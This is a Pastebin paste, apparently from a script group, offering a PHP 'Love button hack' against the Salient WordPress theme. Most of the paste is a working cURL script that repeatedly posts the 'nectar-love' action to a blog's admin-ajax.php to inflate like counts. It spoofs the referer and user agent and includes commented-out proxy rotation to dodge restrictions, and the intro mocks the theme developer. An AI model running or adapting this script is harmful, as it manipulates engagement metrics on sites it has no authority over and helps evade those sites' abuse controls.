Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- _____ _____ _ _____ _____ _____ _____ _____ _____
- ___| | __ |_| _ |_ _|___ ___|_ _| __| _ | |
- |_ -| --| -| | __| | | |- _|___| | | | __| | | | |
- |___|_____|__|__|_|__| |_| |___| |_| |_____|__|__|_|_|_|
- |s C R i P T z - T E A M . i N F O|████████████████████████████
- - iNfO -
- [PHP] ThemeForest Salient Theme - Love button hack
- - NOtIcE -
- From Theme Changelog: "Fixed bug that allowed love button to be clicked a few times if done rapidly before ajax response completed"
- Okay the developer called ThemeNectar is responsible for this, since there is no ip restriction, and in your changelog you said "that allowed love button to be clicked a few times", we can sh*t your clicking, we have php and php can do this faster imo ^^
- <?php
- //s C R i P T z - T E A M . i N F O
- define("WP_BLOG_URL", ""); // http://someblog.com
- define("LOVE_ID_HACK", ""); // must be number, you can find it in html source of blog
- $url = WP_BLOG_URL . '/wp-admin/admin-ajax.php';
- $fields = array(
- 'action' => "nectar-love",
- 'loves_id' => "nectar-love-" . LOVE_ID_HACK
- );
- foreach ($fields as $key => $value) {
- $fields_string .= $key . '=' . $value . '&';
- }
- rtrim($fields_string, '&');
- $ch = curl_init();
- //Multi proxy support in file ./proxy.txt, proxies add per lines
- /*
- function RandomLine($filename) {
- $lines = file($filename) ;
- return $lines[array_rand($lines)] ;
- }
- $random_proxy = RandomLine("./proxy.txt");
- */
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_REFERER, 'http://www.google.com/');
- curl_setopt($ch, CURLOPT_POST, count($fields));
- curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
- curl_setopt($ch, CURLOPT_USERAGENT, 'RANDOM_FAKER');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
- //curl_setopt($ch, CURLOPT_PROXY, $random_proxy);
- curl_setopt($ch, CURLOPT_PROXY, ""); //123.456.789.123:1234
- $data = curl_exec($ch);
- curl_close($ch);
- var_dump($data);
- ?>
Add Comment
Please, Sign In to add comment